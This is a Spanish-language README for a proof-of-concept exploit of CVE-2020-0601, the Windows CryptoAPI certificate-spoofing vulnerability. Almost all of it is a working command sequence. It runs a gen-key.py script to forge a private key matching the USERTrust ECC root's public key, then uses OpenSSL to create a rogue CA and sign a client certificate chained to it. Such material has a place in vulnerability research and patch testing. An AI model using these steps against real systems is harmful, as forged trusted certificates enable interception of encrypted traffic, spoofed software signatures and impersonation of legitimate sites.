CryptoAPI

CVE-2020-0601: Explotación de la vulnerabilidad de suplantación de CryptoAPI de Windows. Más información en nuestro artículo de blog.

Requisitos de instalación

pip install -U -r requirements.txt

La generación de certificados funciona con OpenSSL versión hasta 1.0.2u.

Certificado CA

Usamos la Autoridad de Certificación USERTrust ECC pero puede ser cualquier certificado raíz que funcione en la curva P-384.

Para generar una clave privada que coincida con la clave pública del certificado raíz, usamos el script gen-key.py (funciona con Python 3.6 y superior):

$ ./gen-key.py RootCert.pem 

La clave se puede mostrar con:

$ openssl ec -in p384-key-rogue.pem -text

Luego, para generar el CA malicioso:

$ openssl req -key p384-key-rogue.pem -new -out ca-rogue.pem -x509 -config ca.cnf -days 500

Luego generamos la siguiente clave privada y certificado:

openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem

openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr

openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf 

Finalmente, para tener la cadena completa en un solo archivo, concatenamos el CA y los certificados del servidor:

cat client-cert.pem ca-rogue.pem > cert.pem